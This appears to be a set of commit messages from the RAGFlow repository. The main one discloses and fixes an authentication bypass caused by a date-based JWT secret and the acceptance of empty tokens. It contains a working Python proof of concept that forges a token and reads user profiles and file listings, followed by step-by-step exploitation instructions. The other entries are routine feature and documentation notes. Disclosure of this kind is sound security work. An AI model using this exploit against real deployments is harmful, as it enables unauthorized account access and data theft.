Fix: Authentication Bypass via predictable JWT secret and empty token validation (#7998)
### Description
There's a critical authentication bypass vulnerability that allows
remote attackers to gain unauthorized access to user accounts without
any credentials. The vulnerability stems from two security flaws: (1)
the application uses a predictable `SECRET_KEY` that defaults to the
current date, and (2) the authentication mechanism fails to properly
validate empty access tokens left by logged-out users. When combined,
these flaws allow attackers to forge valid JWT tokens and authenticate
as any user who has previously logged out of the system.
The authentication flow relies on JWT tokens signed with a `SECRET_KEY`
that, in default configurations, is set to `str(date.today())` (e.g.,
"2025-05-30"). When users log out, their `access_token` field in the
database is set to an empty string but their account records remain
active. An attacker can exploit this by generating a JWT token that
represents an empty access_token using the predictable daily secret,
effectively bypassing all authentication controls.
### Source - Sink Analysis
**Source (User Input):** HTTP Authorization header containing
attacker-controlled JWT token
**Flow Path:**
1. **Entry Point:** `load_user()` function in `api/apps/__init__.py`
(Line 142)
2. **Token Processing:** JWT token extracted from Authorization header
3. **Secret Key Usage:** Token decoded using predictable SECRET_KEY from
`api/settings.py` (Line 123)
4. **Database Query:** `UserService.query()` called with decoded empty
access_token
5. **Sink:** Authentication succeeds, returning first user with empty
access_token
### Proof of Concept
```python
import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys
def exploit_ragflow(target):
# Generate token with predictable key
daily_key = str(date.today())
serializer = URLSafeTimedSerializer(secret_key=daily_key)
malicious_token = serializer.dumps("")
print(f"Target: {target}")
print(f"Secret key: {daily_key}")
print(f"Generated token: {malicious_token}\n")
# Test endpoints
endpoints = [
("/v1/user/info", "User profile"),
("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
]
auth_headers = {"Authorization": malicious_token}
for path, description in endpoints:
print(f"Testing {description}...")
response = requests.get(f"{target}{path}", headers=auth_headers)
if response.status_code == 200:
data = response.json()
if data.get("code") == 0:
print(f"SUCCESS {description} accessible")
if "user" in path:
user_data = data.get("data", {})
print(f" Email: {user_data.get('email')}")
print(f" User ID: {user_data.get('id')}")
elif "file" in path:
files = data.get("data", {}).get("files", [])
print(f" Files found: {len(files)}")
else:
print(f"Access denied")
else:
print(f"HTTP {response.status_code}")
print()
if __name__ == "__main__":
target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
exploit_ragflow(target_url)
```
**Exploitation Steps:**
1. Deploy RAGFlow with default configuration
2. Create a user and make at least one user log out (creating empty
access_token in database)
3. Run the PoC script against the target
4. Observe successful authentication and data access without any
credentials
**Version:** 0.19.0
@KevinHuSh@asiroliu@cike8899
Co-authored-by: nkoorty <amalyshau2002@gmail.com>
Improve API Documentation, Standardize Error Handling, and Enhance Comments (#5990)
### What problem does this PR solve?
- The API documentation lacks detailed error code explanations. Added
error code tables to `python_api_reference.md` and
`http_api_reference.md` to clarify possible error codes and their
meanings.
- Error handling in the codebase is inconsistent. Standardized error
handling logic in `sdk/python/ragflow_sdk/modules/chunk.py`.
- Improved API comments by adding standardized docstrings to enhance
code readability and maintainability.
### Type of change
- [x] Documentation Update
- [x] Refactoring
### What problem does this PR solve?
add tts api
- [x] New Feature (non-breaking change which adds functionality)
---------
Co-authored-by: Zhedong Cen <cenzhedong2@126.com>
Co-authored-by: Kevin Hu <kevinhu.sh@gmail.com>
### What problem does this PR solve?
feat: add rerank models to the project #724#162
### Type of change
- [x] New Feature (non-breaking change which adds functionality)
Gecko Security
Kevin Hu
Xinghan Pan
Zhichang Yu
Wang Baoling
黄腾